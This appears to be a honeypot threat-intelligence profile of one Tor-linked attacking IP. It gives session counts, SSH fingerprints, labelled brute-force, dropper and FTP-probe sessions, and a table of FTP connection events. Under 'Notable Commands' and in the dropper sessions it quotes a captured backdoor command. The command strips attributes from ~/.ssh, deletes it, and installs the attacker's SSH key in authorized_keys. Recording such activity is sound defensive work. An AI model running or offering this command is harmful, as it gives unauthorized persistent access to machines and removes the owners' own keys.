← Back to feed
Location
🇳🇱 NL
ASN
AS215125 · Church of Cyberology
Cloud Provider
—
Total Events
93
Above average by volume
Agent Count
2
First / Last Seen
2026-06-30 13:47 — 2026-09-05 21:05
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
External Corroboration
Tor Exit Nodes
tor:exit_node
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
33 (5 with login)
Avg Depth Score
0.29
Commands Executed
6
Files Downloaded
2
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
JA4
Evidence Timeline
Opportunistic Bruter
608bfdaa976e
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
86c645c47f13
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
b71550736875
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
336d2f7254d8
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
FTP Probe
1c5f5c102ef592b0
1
20%
Loading events...
FTP Probe
10245c930fb42fe2
1
20%
Loading events...
FTP Probe
d651878c2251b535
1
20%
Loading events...
FTP Probe
1423f08678cc0882
1
20%
Loading events...
FTP Probe
f5f897dd0809e4be
1
20%
Loading events...
FTP Probe
b0b005f39af531c2
1
20%
Loading events...
FTP Probe
3fd1ce6feedac949
1
20%
Loading events...
FTP Probe
1596ef7f75ab2b8c
1
20%
Loading events...
FTP Probe
6b02242eb2806777
1
20%
Loading events...
FTP Probe
9c068f3992b11978
1
20%
Loading events...
FTP Probe
e83d6b95cb00fe16
1
20%
Loading events...
FTP Probe
b7426e861520e0f7
1
20%
Loading events...
FTP Probe
81217876aa9bc1e1
1
20%
Loading events...
FTP Probe
4671faa084f48262
1
20%
Loading events...
FTP Probe
657678f086d00681
1
20%
Loading events...
FTP Probe
3340a1fb46ce06b7
1
20%
Loading events...
FTP Probe
71ec985814c586f8
1
20%
Loading events...
FTP Probe
065d33e98263f402
1
20%
Loading events...
FTP Probe
d8114a17d65960f1
1
20%
Loading events...
FTP Probe
714d86316e2b03e5
1
20%
Loading events...
FTP Probe
5abcdddd1554e9fa
1
20%
Loading events...
FTP Probe
729beeb48202ef2a
1
20%
Loading events...
FTP Probe
842b973c96764e63
1
20%
Loading events...
FTP Probe
240f49f85e70df45
1
20%
Loading events...
Non-Session Events
| Timestamp | Port | Proto | Event | Source | Location |
|---|---|---|---|---|---|
| 2026-06-30 13:47:46 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:45 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:45 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:44 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:43 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:42 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:41 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:40 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:39 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:38 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:37 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:36 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:35 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:34 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:33 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:33 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:32 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:31 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:30 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:29 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:28 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:28 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:27 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:26 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:25 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:24 | :21 | ftp | FTP connection | opencanary | sin |
| 2026-06-30 13:47:23 | :21 | ftp | FTP connection | opencanary | sin |